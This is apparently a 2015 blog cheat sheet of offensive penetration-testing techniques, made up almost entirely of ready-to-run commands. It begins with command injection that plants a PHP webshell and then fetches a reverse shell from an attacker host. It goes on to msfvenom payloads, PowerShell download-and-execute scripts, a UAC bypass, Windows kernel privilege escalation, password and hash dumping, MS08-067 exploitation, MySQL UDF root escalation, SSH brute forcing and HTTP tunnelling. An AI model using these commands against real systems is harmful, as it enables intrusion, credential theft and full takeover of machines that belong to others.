attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

# download reverse shell to server (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

# run nc and execute phpshell.php
attacker:~$ nc -nvlp 1337

Exiftool - Read and write meta information in files

$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif

Get SYSTEM with Admin reverse_shell on Win7

msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

#show account settings
net user <login>

# download psexec to kali
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

# upload psexec.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script.ps1
echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

# upload danger.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

# UAC bypass from precompiled binaries:
https://github.com/hfiref0x/UACME

# upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

# create listener on kali
nc -lvp 4444

# Use Akagi64 to run the danger.exe file with SYSTEM privileges
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

# create listener on kali
nc -lvp 4444

# The above step should give us a reverse shell with elevated privileges
# Use PsExec to run the danger.exe file with SYSTEM privileges
psexec.exe –i –d –accepteula –s danger.exe

Get SYSTEM with Standard user reverse_shell on Win7

https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/

# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"

# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"

# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w

# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net

Generate our own dic file based on the website content

$ cewl -m 4 -w dict.txt http://site.url
$ john --wordlist=dict.txt --rules --stdout

Bruteforce DNS records using Nmap

$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com

Identifying a WAF with Nmap

$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102
$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102
$ wafw00f www.example.com

MS08-067 - without the use of Metasploit

$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

Nikto scan with SQUID proxy

$ nikto -useproxy http://squid_ip:3128 -h http://target_ip

Hijack a binary’s full path in bash to exec your own code

$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
It works

Local privilege escalation through MySQL run with root privileges

# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)

Bruteforce SSH login with patator

root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'

Using LD_PRELOAD to inject features to programs

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

Exploit the OpenSSH User Enumeration Timing Attack

# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

Create a TCP circuit through validly formed HTTP requests with ReDuh

# https://github.com/sensepost/reDuh

# step 1
# upload reDuh.jsp to victim server
$ http://192.168.10.50/uploads/reDuh.jsp

# step 2
# run reDuhClient on attacker
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

# step 3
# connecting to management port with nc
$ nc -nvv 127.0.0.1 1010

# step 4
# forward localport to remote port with tunnel
[createTunnel] 7777:172.16.0.4:3389

# step 5
# connect to localhost with rdp
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

Pentest Tips and Tricks #2 was published on August 21, 2015 and last modified on August 21, 2015.